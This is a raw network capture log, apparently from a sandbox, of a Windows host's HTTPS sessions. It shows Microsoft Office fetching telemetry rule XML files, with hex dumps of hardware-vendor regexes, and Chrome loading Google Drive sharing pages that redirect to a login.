Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075513Z-174f7845968psccphC1EWRuz9s0000000v9g00000000akwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:13 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075513Z-174f7845968g6hv8hC1EWR1v2n000000036000000000002n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075513Z-174f7845968l4kp6hC1EWRe8840000000v8g00000000ca53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49787	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:12 UTC	1029	OUT	GET /auth_warmup HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
2024-11-26 07:55:13 UTC	1739	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:55:13 GMT Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-P5jolQib4dX3-XVk3rheCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveOsidBootstrap/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveOsidBootstrap/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveOsidBootstrap/cspreport Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-site Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version reporting-endpoints: default="/_/DriveOsidBootstrap/web-reports?context=eJzjEtDikmII1pBicEqfwRoCxEI8HA__Tt3FJvDg9dtHjEqqSfmF8SlFmWWpGSUlBYkFmcWpRWWpRfFGBkYmhoaGJnoGRvEFBgAzFRew" Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49788	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:13 UTC	1150	OUT	GET /drivesharing/clientmodel?id=1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh&foreignService=texmex&authuser=0&origin=https%3A%2F%2Fdrive.google.com HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
2024-11-26 07:55:14 UTC	3597	IN	HTTP/1.1 302 Found Content-Type: application/binary X-Frame-Options: ALLOW-FROM https://drive.google.com Content-Security-Policy: frame-ancestors https://drive.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /drivesharing/_/DriveShareDialogUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Gvg1NPN2gSUUTr1dOjYPfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /drivesharing/_/DriveShareDialogUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com https://support.google.com/inapp/ https://www.google.com/tools/feedback/ https://www.gstatic.com/inproduct_help/ https://www.gstatic.com/support/content/;report-uri /drivesharing/_/DriveShareDialogUi/cspreport/allowlist Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Location: https://accounts.google.com/ServiceLogin?passive=1209600&osid=1&continue=https://drive.google.com/drivesharing/clientmodel?id%3D1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh%26foreignService%3Dtexmex%26authuser%3D0%26origin%3Dhttps://drive.google.com&followup=https://drive.google.com/drivesharing/clientmodel?id%3D1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh%26foreignService%3Dtexmex%26authuser%3D0%26origin%3Dhttps://drive.google.com Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://www.google.com/js/bg/ https://translate.google.com/translate_a/element.js https://www.google.com/tools/feedback/load.js https://www.google.com/tools/feedback/open.js https://www.google.com/tools/feedback/open_to_help_guide_lazy.js https://www.google.com/tools/feedback/help_api.js https://www.gstatic.com/inproduct_help/service/lazy.min.js https://www.gstatic.com/inproduct_help/api/main.min.js https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js https://www.gstatic.com/uservoice/feedback/client/web/live/ https://www.google.com/tools/feedback/chat_load.js https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/ https://www.gstatic.com/feedback/js/ghelp/ https://www.gstatic.com/_/mss/boq-one-google/_/ https://www.gstatic.com/og/_/js/ https://apis.google.com/js/api.js https://apis.google.com/js/client.js https://www.goo [TRUNCATED] Cross-Origin-Resource-Policy: same-site Date: Tue, 26 Nov 2024 07:55:13 GMT Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:14 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075515Z-174f7845968l4kp6hC1EWRe8840000000vfg00000000128w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075515Z-174f7845968xlwnmhC1EWR0sv80000000v20000000001bqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075515Z-174f7845968nxc96hC1EWRspw80000000v000000000009r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075515Z-174f7845968vqt9xhC1EWRgten0000000v5g0000000073b0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:15 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075515Z-174f78459684bddphC1EWRbht40000000ux0000000003nhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:15 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:17 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075517Z-174f7845968jrjrxhC1EWRmmrs0000000v9g000000004nfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
